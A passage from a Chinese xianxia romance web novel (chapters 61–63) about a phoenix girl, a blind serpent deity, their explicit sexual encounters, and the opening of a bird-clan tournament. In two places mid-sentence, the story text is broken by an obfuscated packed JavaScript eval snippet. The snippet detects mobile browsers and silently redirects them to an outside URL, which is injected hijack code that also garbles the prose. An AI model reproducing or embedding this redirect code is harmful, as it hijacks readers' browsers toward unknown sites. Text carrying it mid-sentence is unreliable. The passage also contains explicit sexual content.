他很想瞧瞧她的模样,不再是因为好奇,而是渴望。 夜里共鸣之时,他能感受到她魄丹中流转着丰沛的力量,而他什么都看不见,害怕她就这样飞走。深入之时,他扣在她锁骨处,在她脖颈处咬了一个深深的印子。 她说过,在不久的来日,她是他的。 她说过,她很想很想他。 他舔吻着她锁骨上的血迹,这回,老老实实挨了她一个巴掌。 晏长书把她咬疼了。 “你怎么从这时候就喜欢咬我!”她扑到他身上,在他下巴处咬出几道血迹,又吻又咬,“你有什么毛病,你有什么毛病!晏长书!” 他笑了笑,揽住她的腰身,让她作乱,报复。她的情绪像夏日里的骤雨,过后一会儿晴,一会儿阴,还常有可爱的、恼人的话语。 他甚至喜欢起她不着边际的天马行空,她对于生活的渴望和生命的执著。他喜欢她梳理羽毛时认真的姿态。 “每一根羽毛都和你有关。”她说,“大功臣,赏你一个吻吧。” 真好。 他心底忽然冒出两个字。他睫毛颤了颤。 她总是叫他的名字,他很喜欢。 她应当就是菩萨口中不可或缺,无法替代的存在吧。所以,他的心中才会有日出看见太阳时的平静的喜悦。 当然,太阳属于每一个人。 他却私心想将太阳占有。 苍宁再度和姬烨修行时,晏长书终于忍不住走出了房门。 苍宁大约是累得睡着了,姬烨为她盖上了一层暖被。 天气很好,姬烨行礼过后,他径直抱起苍宁,欲回住处。 姬烨沉声道:“苍宁年幼不懂事,可有给尊者添麻烦?” 晏长书淡道:“没有。” 他往回走,姬烨跟上几步,似乎有些担忧,又道:“尊者行游世间,寿比同天。她年少无知,和我是同类人,不知天高地厚,任性肆意。尊者若欲寻女子,自有比她更适合的……” 话未说完,晏长书眸中金光一闪,姬烨与他之间套上重复的时空,一层一层,犹如千百面相同的镜子。姬烨不断往前走,却永远无法走近他的身边,反倒是越来越远。 “尊者!”姬烨大喊道,“我与凝安唯有一求……” “你与凝安的恩情,我择日定报。”晏长书淡漠的声音从无数个时空中传到他的耳边: “但唯有苍宁,我不能让。” 61. 强制共鸣·三 苍宁睡着的时候,好像听见晏长书在旁边嘀咕。 他说话的声音很沉,很温柔,她转身睁开眼,看见他被吮吻的红艳的唇,还有挠出血痕的下巴。 他微微勾唇,问她:“宁宁喜爱我吗?” 苍宁懒懒地嗯了一声,先他一步推开他的肩膀,困意十足:“晏长书,今夜不要,我还要早起修行。” 他点头:“我也喜爱宁宁。” 他莫名其妙的,苍宁睡得又迷糊,没把这句话听进脑子里,随口反问:“你知道什么是喜爱吗?” 他默了默,说道:“我以后会知道的。” 苍宁还想说话,但实在太困,意念一转,已然睡去。 她睡得很香,身体暖而软香,晏长书坐在她身旁,手指抚过她的面颊,停在她额际的羽印上,忍不住垂头亲了一下。随后,他的手指慢慢滑下去,所及之处衣带渐宽,隐隐约约,将她的腰身线条勾勒得十分朦胧。 他的手指在她腰线处来回摩挲,犹豫片刻,幻化出一条镶着宝石的金色软链。软链贴合她腰身的曲线,几乎是完美无缺地将她束在其中,跟着她的呼吸一起一伏。他将脸颊贴在她的腰畔,蝴蝶般轻柔的吻过,鼻尖蹭过下方的肌肤,微微磨蹭,闻见了熟悉的、潮湿的靡靡之气。 她动情了。 晏长书分辨出这个事实之后,心猛地跳了一下。 他长指伸过去,勾起稠而透明的水液,拉长的一段坠到了腰链上。 灵敏的嗅觉让他情动不已,但苍宁说过今夜不要…… 他心中几番纠结,垂头,在她脸庞上落下几个炽热的吻。 他听宁宁的。他知道喜爱的意思。 宁宁早起后会夸他么? 可惜事情完全相反,苍宁醒来之后,不禁没有夸赞他,亲亲他,还怒目圆视地大骂了他一顿。 黑蛇耷拉着脑袋,尾巴尖被扯着,用力往前爬,钻到被褥里面,露出两只圆圆的眼睛,疑惑地打探。 苍宁又羞又愤,说他不知羞耻,给她戴上这种首饰,打扰她的日常修行,罪大恶极! 苍宁语气有夸张的程度,用词也是。毕竟,她的确不能忍受在一无所知时被戴上这种饰品。可晏长书如今单纯,竟是轻易相信了他罪大恶极。 眼见着约定好的时间要到了,苍宁转身出房门,要回来再和他算账。 比试大会的时间越来越近,眼瞅着只有不到十日,她勤学苦练,这段日子有所突破,只可惜知危姐姐好些日子没见到了。 当初姬烨来到瑶柱宫,告诉她,知危姐姐已有身孕,孩子不老实,上蹿下跳,只好歇息,委托他来监督她修行。 苍宁自然高兴。但疑惑问道:“少主无需接待天帝么?” “你无需担忧。”姬烨目光沉沉道,“多说无益,快些修行。” 此后,苍宁便一直跟着姬烨学习凤凰秘法。姬烨甚至会语气僵硬地对她嘘寒问暖,时不时盯着她沉思,还会试探她的择偶标准。 苍宁猜想,姬烨定是信了她之前的话,可苍宁长了教训,不随便喊他爹爹了。 姬烨很严厉,修行不努力是会被骂的,术法不正确是会被打的。苍宁有时开小差,便会被斩星刀刀身拍好几下,示意她凝神聚力。在这种程度的修行中,苍宁成长速度飞快,不禁开了羽印,学会了七七四十九种秘法,还将其与万年愿力相融合,有了更加强大的力量。 今日修行结束,姬烨满意点头:“还算用功。苍宁,你要脚踏实地,莫要趾高气昂,不听他人劝慰。” “知道了知道了……” 苍宁揉揉耳朵。初见爹爹感觉还是大帅哥,现在他说话真是越来越像神界老头儿了。 “可有对尊者不敬?” “没有。”都是晏长书对她不敬啊。 姬烨眼神复杂,沉默半晌,僵硬地把手放在她头上,拍了拍。 “修行努力。辛苦了。” 苍宁笑道:“少主是这样追到凝安上神的吗?听知危姐姐说,少主会欺负上神呢。” 姬烨皱眉:“荒谬。” 他负手而立,高马尾迎风飘摇:“苍宁,修行不是一时,来日方长,若有烦忧,切勿折磨自己,钻进死胡同。” “少主为何这么说?” “纵是神仙,知晓自己有死期时,亦与凡人无左。”他回眸笑道,“苍宁,你要好好活着。” 苍宁心下酸涩,渐渐收起笑容,抿唇道:“好。” 话说到这里,姬烨转身离去。 苍宁喜爱沐浴,没有施法叫全身整洁,而是舒舒服服泡了一个澡。她回房瞧见一条成年体型的黑蛇紧紧贴在窗沿,忽而调转蛇头,情绪低落地把蛇脑袋缩在蛇身下,把自己盘了起来。 苍宁好气又好笑,提溜起他的尾巴,说道:“你知错了没?” 晏长书不是小蛇体型了,只稍动了动,便是能吞下人的大蛇,现在委委屈屈的,别提多呆。 他吐着蛇信探出脑袋,试探着往苍宁手上爬,边爬边试探苍宁的反应,长长的蛇身圈住她的腰身,张开嘴巴打了个哈欠。 苍宁发现整条蛇的颜色都变淡了,不那么黑了,大约终于要蜕皮了。 蛇蛇轻轻蹭了蹭她,有几丝温存之意,苍宁仍旧拉着蛇尾巴,他扭动挣扎,又倔脾气不肯放开苍宁,被苍宁捏着按到了床榻上。 他腾起半个身子,拧回头,小狗似的往回望她,歪头吐着蛇信。 “你不要逃避,晏长书。”苍宁眯着眼睛,伸出食指,指着他说道,“别以为卖可爱我就会轻饶了你。我不喜欢你心里有感受却不说,也不喜欢你忍不住就要咬我的坏习惯,更不喜欢你偷偷给我上锁链。” 蛇蛇沉默着,不能看,只能听,感受苍宁的气息。 苍宁瞧他呆呆模样,唇勾上点笑,沉下声,十分严肃道:“你听见了没有,晏长书?” 晏长书听见了。 苍宁在生气。她还生他的气,因为他罪大恶极。 他挣扎片刻,从她身上挪下来,钻到被褥里,剩一截尾巴露在外面。 苍宁见他没回话,摸着他的尾巴,往上拉,往下摆,绕了个圈,她这才蛇尾巴上的裂缝鼓鼓的,似乎是肿着。 这家伙…… 她从未抚慰过那处,只是摆弄蛇尾罢了。 苍宁把被褥掀开,他回身看她,心虚道:“……宁宁是不是不喜欢我了?” “你变回来。” 她想看着他的脸说话。 晏长书化为蛇身人形,他裹着被褥,脸色苍白,蛇尾又缠到苍宁身上,他抬手拨开了两次,可尾巴始终不听他的话。 他抖着睫毛,呼吸凝滞道:“宁宁,我还有用。” 苍宁手一顿:“有用什么?” “我通晓规则,能助你修行。” 苍宁嗯了一声:“然后呢?” “我……”他想了想,沉默下来。 苍宁问道:“是谁告诉你,你对旁人有用的?” “神界……天帝。” “你都帮他们做什么?” 晏长书木然回道:“万年之前,曾顺应天道,为天帝铲清污浊,巩固六界。后来,我亦成为污浊。如果没有任何作用,我只不过是天地的旁观者。” “可你不是旁观者了,晏长书。”苍宁蹙眉,心绪难平,“你要改变你的想法了。我不是因为你有用才喜欢你的,那不会是我的动机,我喜欢你,是因为你愿意为我行动的真心。因为你是晏长书。你现在是我生命里的人,和我走在同一条道上呢,说自己是旁观者,也太伤我的心了。” 他的尾巴高兴地摇晃起来,语气还是轻轻的:“……所以宁宁不生气?” “生气。”苍宁叉腰道,“一码归一码,那些好事可不是现在的你做的,而是未来的你做的!” 蛇尾立刻停下了,耷拉在被褥上。 苍宁点他的头,忿忿道:“但对于我来说,不管是什么时候的你,我都很喜欢,哪怕你在凡间轮回,我也很喜欢。可是,你不能因为自己喜欢就在我身上绑链子,你要问我喜不喜欢,明白吗?” 晏长书:“你喜欢吗?” “不喜欢。” 晏长书:“……” 苍宁单膝跪在床边,将床幔拉下来,她垂眸,面对着他,拉开衣襟,慢条斯理地宽衣解带。 他虽看不见,但闻见了一股子馨香气。 晏长书喉珠滚动着,沉声道:“宁宁,你在做什么?” 一件一件。 她俯视着他,眉梢带笑:“做点有趣的事。” 苍宁握住他的手,带到沾着自己体温的腰链上,让他的食指从腰链的那一点缝隙上穿过去,紧贴着她的皮肤。 她满意地感知到晏长书下意识屏住了呼吸。他的长指围着腰线探到腰侧,手指停留在她的腰身处。紧接着,另一手也移过来,扣住她的腰身。 他的食指来回摩挲馨软的肌肤,想要探身去吻她的腰,被她伸手制止。 苍宁掌下,他的心,跳得格外有力。 她言笑晏晏道:“所以,你很喜欢?” 他的声音几乎哑透了。 “喜欢……” 金色腰链一侧被他勾在指间,歪歪的挂在苍宁腰上。苍宁动了动,他仰头面向她,微微张唇。 苍宁掐住他的下巴,想起初遇时他冰冰冷冷的模样,现下更有一种别样的刺激。 她抚过他的唇,诱他将腰链解下来。 很快,带着体温的腰链落到苍宁手中。 苍宁将腰链贴在他的唇间,轻笑道:“晏长书,做了你喜欢的事之后,做点我喜欢的事吗,可以吗?” 他刚张开唇,她便将腰链一端塞进他的口中,要他咬着,不许动。 他发出了一声低低的回应,代表同意。 因为看不见,他变得更加敏感,那软链在他脖颈上绕了一圈,代替了平日璎珞的位置。苍宁的手指若有似无地在他脖颈间游走,使他胸膛上的肌肉微微弹跳,泄露了兴奋的激动。 圈好之后,苍宁从他唇间取下那一端,满意地看着小狗蛇颈链,拉直,让他直起身子。她玩心大起,将他的双手也绑上去,将他压在身下,兴致勃勃。 脖颈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030055|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的宝石熠熠发光,他的双手无法离开脖颈附近,只能任由她的手压在自己手腕内侧。 他问道:“宁宁喜欢?” “很喜欢。” “开心?” “很开心。” 晏长书笑起来:“我很有用,对不对?” “不对。” 小狗蛇抿唇:“不对吗?” 苍宁哼声:“大家都说你很有悟性的,晏长书。我刚刚解释过这个问题了。我怎么说的?” 他蹙眉,没说话。 苍宁低头就是一口,问他:“我是怎么说的?你说!” “……不是因为……”他嗫嚅着,闭上嘴,转而道,“我可以给你很多力量。旁人都是这么求我的。” “闭嘴。我不会求你。你若爱我,会主动给我。”苍宁耐着性子道,“我让你重复我方才说了什么。” 晏长书抿着唇,心里复杂酸软,从未有过的情绪一股脑涌上来,几乎将他吞没。他迟迟不语,苍宁起身离开,掀开床幔,带走了所有的馨香,他的心如至冰窟,低声唤她:“宁宁,宁宁!” 她不回答。 他听见了开门的声音。 她走了? 和所有人一样从他的生命里踏过来,搅浑了,捏着鼻子笑骂他看似人模人样,实则无情不堪,便走了? 他不要—— 不可以,不可以!别人可以,但苍宁不能误解他…… 晏长书浑身僵硬,从床榻而起,金色的结界变得不稳定,岌岌可危。混乱的力量涌动着、流窜着,倏尔间,他闻见属于苍宁的那抹香气回来了。 回到了他的身边。 他诡异地平静下来,勾了勾唇:“你去哪儿了?” 苍宁挑眉道:“想好了没有?是哪一句?” 他沉默半晌,涩然张口:“……不是因为……不是因为我有用才喜欢我的。” “嗯,就是这句。”苍宁反问,“那是因为什么呢?” 他怔了怔。 苍宁再度抬手,将他按到床榻之上。长长的墨发蜿蜒在床上,令苍宁爱不释手。 苍宁把玩他的长发:“是因为什么?” “因为……”他的尾音微微上翘,充满犹豫和不确定,“因为我是晏长书。” “答得特别好,奖励你一个吻。” 她果真低下头,赏给他缠绵情动的吻。 晏长书浑身发烫,只觉得方才心中的酸涩全然不见,陷入了甜到腻人的蜜糖中。原来只要她一句话,他的情绪便可以如夏日雷云,说来就来,说走就走,好像这么多年来,他平静的没有感知的年岁全都是假象。 他被她看见了。完整的。不止是茂盛的叶,割手的刺和美丽的花,连同他埋下污秽的泥土里的根茎,她都拿起来看一看。 很喜欢。 他激动得颤抖。 他贪恋她的唇舌,可她及时抽离了,提出了下一个问题。 “那你喜欢我吗?” “喜欢。” “真的喜欢吗?”她像是在给他下套,含着笑,语气往上挑,“为什么呢?” “因为你是宁宁。”他含住她唇瓣,辗转,深吮,哑声道,“宁宁……宁宁要我怎么样都可以。” 苍宁闷笑一声,丢给他一个瓶子。 “学得这么好,再奖励奖励你吧。” 晏长书低声道:“奖励什么?” “奖励你帮我梳理羽毛。” 她拨开瓶子上的塞儿,高兴道:“我刚刚回去拿的,是少主送我的美羽精华,听说可以让翅膀的羽毛更加靓丽,在太阳下熠熠生辉,你帮我抹吧。” 晏长书:“……” 苍宁迫不及待地变回了原身,啄了他一下:“你怎么看上去有点失望?” 晏长书:“想亲宁宁。” 他还是顺从地倒出一些美羽精华,根据她的步骤来行事。先把美羽精华倒在掌心,用掌心的温度捂热,来回摩挲后,一点一点擦拭在羽毛上,每一片羽毛都需要擦,来回两遍,不用洗,第二天羽毛就会更亮。 涂抹一遍后,晏长书拿来镜子,让她品鉴一番,获得了一个吻。 尔后,晏长书第二遍涂得更认真。 涂完之后,整个房内都是美羽精华淡淡的香气。晏长书拦腰,从身后抱住她,让她坐在自己身前。 烛火闪烁,窗外飘来浮云几片,月光拂照一双人。 苍宁惬意地靠在他胸膛上,又给了他一个吻。 双唇触碰即离,浅尝辄止,却令人安心。 晏长书心事重重,没有及时说话,只是抚摸着她的脸庞。 “你怎么了?” 他叹道:“好想……好想看看你。” 好想知晓她的模样。 他低声道:“一想到我能获得幸福,忍不住开心,可想到这种幸福属于将来,我又着急。” “菩萨不是说你心性很好吗?还有你的小师弟灵尘。他们都夸你呢。”苍宁贴近他耳边,轻轻将笑声送进他的耳中,“我会在未来等你的。晏长书,不要在时间里迷路哦。” 62. 强制共鸣·四 苍宁夜里睡觉被热醒了。 初时,她还以为是晏长书身子太热了,挪开他的尾巴和双臂,掀开被子散散火。她翻来覆去地倒腾,还是觉得汗津津的,心里直冒火,便腾得一下坐起来,擦擦脸上的汗。仔细一瞧,其实是她的魄丹流火,激出了一股子热意。 苍宁出门浇了六盆冷水,才觉得好受些。 翌日,她起了个大早,看见自己的羽毛油光水滑,嘚瑟了好一会儿,飞到屋檐上啄毛,被姬烨喊了下来。 姬烨上下打量她一番,琥珀色的眼眸含着笑,递给她一盒精致的小点心。 “知危做的,喜欢吗?” 苍宁魄丹烧了一晚上,烧得肚子都饿了。现下看见一水靓得不得了的点心,填了七八个进去,连声赞叹:“好吃好吃!知危姐姐呢,她还好吗?” 姬烨颔首:“有我在,不必担忧。” 苍宁塞了两个糕点,又听姬烨问:“尊者还好吗?” 他怎么总问起晏长书? 苍宁:“挺好的。” 姬烨神色复杂道:“尊者将双眼送给比翼鸟后,途径凤凰山,恰逢蛇蜕之期,气息紊乱,身弱难支。凝安心善,请尊者在凤凰山休憩,这件事,天帝原本并不知晓。” 苍宁问道:“那之前有许多筵席……” “寻欢作乐无法使天帝掉以轻心。”姬烨背手,缓道,“与你说这些,是因为比试大会在即。凝……知危赠你一方玉佩,可通行无阻,但我不希望你前去参会。” 苍宁捉住了他口中一闪而过的“凝”字,只当没发现,问道:“为什么?” “你曾说,天帝欲杀你。” 苍宁放下吃食,正色道:“是。” “你顶替了那只麻雀儿,天帝未曾收到密信,你的流言充斥凤凰山,晏长书亦在此,天帝已然生疑。” 苍宁急声道:“那便杀了他,以正天道!好过来日夜长梦多!” “胡闹。”姬烨蹙眉,随即一叹,“若是凝安在此,定要说我俩都冲动行事……此事需从长计议,你莫管了。” 苍宁皱眉:“爹爹怎么和那些讨厌的仙侍一样,竟是瞧不上我。” “闭嘴。”姬烨不怒自威,见她眼底盈盈有光,软下心,说道,“若无人承认,无人坐实,流言总归是流言。你自时间之外而来,没有人可以拿捏你。你玩够了,便让尊者送你回去。” 苍宁默道:“知危姐姐想要我去吗?” 姬烨负手道:“她自然想见你潇洒身姿。” “那我便去。”苍宁放下食盒,“我是去见她的。” 今日修行结束,苍宁抱了抱姬烨。姬烨十分有男子气,苍宁抬头笑道:“怪不得少主讨凝安上神喜欢。” “没大没小。”姬烨伸出二指,抵住她的额头,把她推出怀中,“身后有人。” 苍宁回头,身后的不是人,是扒在窗台的蛇。 盯—— 姬烨又问:“上次和你介绍的少年郎,不再考虑考虑?” 考虑不了一点。 “您知晓鸟族的,认定一人,怎会轻易离开?” 姬烨叹息:“我这是担心你,你是鸟族,他又不是。” “可他是晏长书,您还不知晓他?” 姬烨说道:“冷漠无情,却强大俊美的上古神明后裔,天帝无法杀他,却也无法利用好他,只能将他驱赶至今。” “他没有冷漠无情。”苍宁道,“若真如此,他应当早早杀了天帝,报复三界,生灵涂炭啊。” “他有能力保护你,也有能力伤害你。” “我也有能力保护我自己。方才修行时,你不是说我天资聪颖,是您见过力量最强的鸟族吗?我魄丹中除却神力之外,还有晏长书渡给我的万年愿力。”苍宁道,“他把他拥有的都给我了。您也相信我,好吗?” 姬烨双眸微沉,与不远处的晏长书对视。 至此,苍宁更加勤学苦练,白日黑夜都不曾停息。毕竟,这对她来说是个千载难逢的好机会:从前说要学卍法,晏长书夜夜教,虽然是不伦不类地教。凤凰秘法,也大有长进,获得了姬烨的肯定。 知危说她三十三日肯定学不会,但这样看来,她简直是天纵奇才,天赋凛然嘛。 在她刻苦修行的这段时日,晏长书沉睡的时间越来越长。待苍宁沐浴回来后,他强撑精神,替她抹美羽精华,偶尔抱着她便睡着了。 怪不得要找个地方待着…… 苍宁戳戳他的脸,心想:这样很容易被偷袭吧,虽然他不会死,但会痛。 她低头吮了吮他的唇瓣,格外软热,惹得她心痒痒。她心念一动,低声唤他:“晏长书……” 他睡得很沉,没有苏醒的迹象,苍宁只好又亲了他两下。 距离比试大会的前四日,两人好不容易在夜里清醒地见面。苍宁不要他抹美羽精华了,说足够了,要给他抹美鳞精华。 “哪有这种东西……” “我让少主帮忙找的。” 晏长书沉默道:“拿回去吧。” “你别吃醋,你没听说那些流言吗?我失心疯管少主喊爹爹的事情?” 晏长书眉目微动。 “我没有失心疯哦,都是真的。”苍宁打趣他,说着他听不懂的话,“你吃桃枝的醋也就罢了,不会还吃我爹爹的醋吧。诚然,他长得是很俊,但是他不俊,我阿娘不美,怎么会生出我这样好看的青鸾鸟来?” “你长得……很美?” “你这是什么语气,”苍宁翘起羽毛,“我当然很美!” 何况,鸟族都是爱美的,不管是神是妖,或是凡鸟,都会规整又漂亮的羽毛,若有人对她们的羽毛多加夸赞,就会翘起羽毛飞到天上去。 晏长书又是一阵沉默:“……那你是不是会觉得我很丑。” “怎么会。” “我没有羽毛。” “唔……这个不一样吧。” “你喜欢有羽毛的。”他用的是陈述句。 眼见晏长书恢复了一派清冷模样,像是护着自己进入蚌壳的小动物,苍宁没好气道:“之前有人说我是没见过的种类,我这种种类就喜欢叫晏长书的。可惜呢,晏长书却叫我去喜欢有羽毛的,哎呀哎呀,那我就去喜欢一下吧。” 她语调轻飘飘的,说的自然都是假的。 倏尔,晏长书抱住她,用蛇尾牢牢将她卷起来,憋得苍宁说不出话。 “不许你喜欢旁人。”他低喃道,“不想,不要。” 苍宁眨眸,诱他:“为什么?” 他不愿说,苍宁就要走,她不惯着他不爱说话的毛病。几次三番,晏长书便心慌慌地搂住她道歉。 “因为……因为宁宁喜欢的是我。”他抿唇沉思后,哑声道,“我会争取让宁宁喜欢得久一点,直到宁宁喜欢旁人。” 原来晏长书是这样想的。苍宁屏住呼吸。 他似乎太清楚世事易变了,因而在心底埋下了种子,等她不喜欢他了,她会去找别人,然后将他遗弃在时光里。 他看似拥有无穷的生命,却生活在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030056|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种巨大的不确定性中。所有人情世故都不是被教与他的,而是直接让他受到了痛苦和伤害,没有任何像日升月落一样的解释。 没有解释,痛苦便成为了解释。他了解到的规则,譬如善有善报,恶有恶报,也根本没有应验。可世界好像就是这样的,没有任何解释。这时,忍受就成为他活着的解释。 最糟糕的是,他还有一些可笑的善心,他不能大开杀戒,把所有人都毁掉。于是他想起从前孑然一身时自己曾无忧无虑,便摒弃那些痛苦的情感,将自己重新至于一片空白的世界,将自己置之于所有规则之上。 这时候,又有人出来说: 你真无情。 直到苍宁跳出来,对他说: 真喜欢你呀,晏长书。 所以,时刻处于空白状态的小狗蛇,会努力用她喜欢的方式来讨好她,学会尊重她的意愿,甚至是在卍象图中耗尽自己的力量等她慢慢觉醒,将他有的东西全都给她。 大家都没说错,晏长书同苍宁实在是不一样的人:苍宁是热烈的,明亮的,风风火火的,永远有生命力的,晏长书不是这样的。 他死过太多次,把死亡的痛苦错当成生活了。他将自己拥有的习惯性抛弃,用痛苦链接世界,直到碰上他无论如何不想放弃的苍宁,他又开始痛苦了。 那不该是他的生活。 至少,不应该理所应当。 苍宁的思绪远远拉回来,美鳞精华不知不觉擦太多,把蛇尾擦得油亮。她尴尬得拿出一块帕子,把多余的精油擦掉,碰到尾巴上的裂缝时,发现那里依然肿胀着。 晏长书尾巴一弹,甩到另一边去,她假装没看见,收起了美鳞精华。 好像让他更肿了。 她问道:“晏长书,我修行已有些时日,我能如你一般使用时空之术么?”不是之前琢磨得短短回溯时间,而是想来就来,想走就走,岂不快活? “不能。” “真不能?还是你不想要我回去?” 他摇头:“你一个人不能,倘若与我一起,我可助你。” 苍宁不想瞒着他,与他说清楚自己原本来时的目的,和姬烨凝安的关系,还提及了自己几日后要去参加比试大会的事情。 他恰逢蛇蜕之期,自然没办法出席。她说明自己需要回到原有时间,若能自己催动时空之术,更加方便。 可晏长书所言非假。苍宁虽有他的力量,可终究不是他。时空之术是他与生俱来的能力,除非融他精血,与他共见天地。 苍宁不知其意:“如何能做到?” “与我合契。” “什么?”苍宁没听说过。 “……饮双方心头之血,向天地誓言,你我共享寿命,共此一人,共见天地,此乃合契。恰如凡界夫妻。” 他轻声道,“但合契不容反悔,十分严苛。我想你不会愿意。所以,没关系,我会帮你。” 苍宁心尖一颤:“你怎么知晓我不愿意?” 他道:“鸟族向往自由,与我绑在一处,对你不公平。姬烨说,你还年轻。细想下,你还有漫漫时光,我允你反悔的机会。” 她提高音量:“那我日日与你吃住在一起,竟是我不知好歹了?晏长书,你扪心自问,你这样做有没有伤我的心?” 他蹙眉:“我如何伤你的心?” “你质疑我的真心,不算伤我的心?你凭什么自己觉得,替我选择?”她道,“若我愿意呢?” 他一怔。 “晏长书,若我愿意呢?” 63. 比试大会 若她愿意? 愿意么…… 晏长书勾着唇角:“不急于一时。你可再想想。” 苍宁见他伸手,在她手腕处下印,甩开他的手:“做什么?我可得想想。” “以防万一。有了此印,我可以与你链接,快速施展时空之术。” 苍宁哼了一声。 夜里,苍宁还生气,拍开他的手,叫他滚到床榻边沿上去。 她是这样的人,若选择了,定是倾尽全力,不会以分开作为后路,直到要分开的那一刻来临。而这个死男人呢!却在他们在一起的时候就天天想着以后会分开的事,为她要分开这种幻想来决定,怎么能让她不生气。 就是因为这些不可确定,才来来回回游移不定。 苍宁气得睡不着,轻轻打在蛇蛇身子上出气。蛇蛇呆呆抬头,不知道发生了什么事情,任她发泄揍了一拳,两拳,三拳……等他化为人形,苍宁便抱紧他,咬了一口两口三口。 “晏长书,我不开心,”她对他说,“我要你让我开心,我要你吻我,我要你给我很多很多的爱,不许说离开我。” 她很少愿意展现自己的脆弱。晏长书低头吻她的时候,她竟然有丝庆幸,他现在看不见她的表情。 她有选择的权利。她有爱的勇气。她本就可以什么都不怕。为什么不呢? 为什么不呢? 他感知到了她的不满意,无限延长着亲吻,他顺势而下,让她更开心,更舒服些。 唇瓣沾着靡靡之气,鼻尖泛着水光。 苍宁没想到他会做到这个份儿上,意识瞬间酥软。 可快乐之余,他忽然停了下来。 她长腿拱了拱他的脸,竟发现他睡着了。 “晏长书!” 她哭笑不得,整理好自己,给他盖上被褥。俊美如玉的面容完美无瑕,她伸手一根根拨过他的睫毛,像拨弄琴弦,随着他睫毛的颤动,自己也心动了一下。 她凑上去吻。 修行之日将结束时,姬烨和知危都没有出现。凤凰山上一片诡异的平静。 知危派小仙侍送来了一封信,信上用青色笔迹写着,祝愿她前路昭昭。附赠一顶幕篱。 翻过信纸,苍宁看见朱色笔迹:莫要担心,放心前去。 赤色为姬烨笔迹,青色为知危……不,应当说是她的阿娘,凝安的笔迹。 他们为何没有来找她? 晏长书陷入了深度睡眠中,一直没有苏醒,她不知前路如何,俯身在他耳边,将祝愿说给他听。 但愿昭昭。 来日见。 苍宁带着玉佩,在辰时前往主殿。偌大的庭院中,参加大会者约有百十人。她穿得低调,一件素衫,为了方便打斗,一件首饰都没有戴,干干净净,只戴着一顶幕篱。反观会场上,有穿花衣裳戴花儿的,有身上挂着琳琅满目的,有人形不全,敞着鸟翅膀的…… 苍宁看了一圈。 挺好。 没一个能打的。 她对仪式向来毫无兴趣,时刻关注着姬烨和凝安的身影。可是他们并不在这里。一名大仙侍站在主殿上公布规则:比试大会三轮,共三日,不得成组,不得服用灵丹妙药,不得置对方于死地,全凭个人本事。第一轮抽签进行,实行一对一比试,胜者进入第二轮。若有作弊者,永不得入神界。 “第二轮的规则呢?”有人询问。 大仙侍眯眼笑:“若你胜出进入第二轮,便会知晓。” 正值此时,另两名仙侍捧着一面及人高的镜子,要求比试者逐一通过。 大仙侍继续眯眼,朗声道:“此镜名为照心镜,可观心中一切污秽,照一切心虚。未通过此镜者,不得参与比试。” 大仙侍话音刚落,刚开头苍宁看见的那个穿花衣裳,戴着花儿的,便没走过镜子。 “我没作弊,我没吃药!” 他用力扭动,大仙侍端身查看,说道:“磕了仙丹,带走。” 此人在众目睽睽之下被强行拖走,花衣裳被磨烂了,鞋都被磨烂了,十根脚趾头扣地,硬生生刮起了一地泥。 “我没作弊,我没吃药!救我,我没磕我没——” 杀鸡儆猴。 很快就有人自愿放弃参加比试,说家里的炉子忘关了。苍宁觉得好笑,轻而易举地穿过照心镜,正式进入第一轮比试。 对于苍宁来说,第一轮比试简直是小孩的游戏。她师承多人,身姿灵敏,快如闪电,轻易叫对方四肢脱臼。等对面那家伙倒在地上,她瞬闪置场中,获得了进入下一轮的机会。 玉佩闪烁着微微紫光,意味着她已顺利通过第一关。 唯一的不好,是她等待良久,肚子有些饿了。恰逢此时,旁边一位获胜的少年郎递过来一盘桂花糕,问她吃不吃。 苍宁谢过他,他追上来问:“姐姐好身法,我见姐姐亲切,极为钦羡,夜里要不要同住一屋?” 苍宁上上下下打量他许久,遵守规则,才没将他打一顿。等到所有胜负皆分,苍宁仍旧没有见到姬烨和凝安,不免有些失望。 他们被集中带到另一座仙山中,此山山头小,却地势复杂,重峦叠嶂,有瀑布流水之貌。眼见旭日将落,大仙侍命他们在此歇息,待月悬高天之时,再进行第二轮比试。第二轮将会决出十名鸟族,进入第三轮。 夜越来越沉。苍宁凝视着天空中的月亮,总觉得月亮的纹路有些许不对劲。 她眯眸探视,忽见那个给她递桂花糕的男子从树枝上轻跳过来,落到她跟前。 “好姐姐,组队么?” “不能组队。” 男子钻了空子,笑道:“第一轮不得组,又没说第二轮不得组。胜出十名即可,我们强强联手,岂不妙哉?” “不需要。” “我观察姐姐良久,却不曾发现姐姐有武器。姐姐难道不想赢?和我组队,我有的是本事。” 什么本事?花言巧语的本事?打扮得像花孔雀似的。苍宁睨他一眼。 苍宁来此的主要目的不是胜出,而是观赛的那三人,她淡道,“为何少主和天帝没有来观赛?” “他们在观赛。”男子贴近她的耳边,悄声道,“自我们比试开始,便留存于照心镜中,镜中的情况他们随时可以看见。” “第三轮呢?” “那自然能得见天帝陛下。” “好。”苍宁隔着幕篱,侧眸看他,冷笑一声。只见他口中呼出烟雾,苍宁凝神屏息,一拳砸在他脸上,将他捶到了三丈外的树上。 倒了一片树。 男子狼狈地从树下爬起来,咳嗽着笑道:“姐姐好本事,打得我心都乱了。” “不要给我下药。”苍宁冷道,“不要来招惹我。” 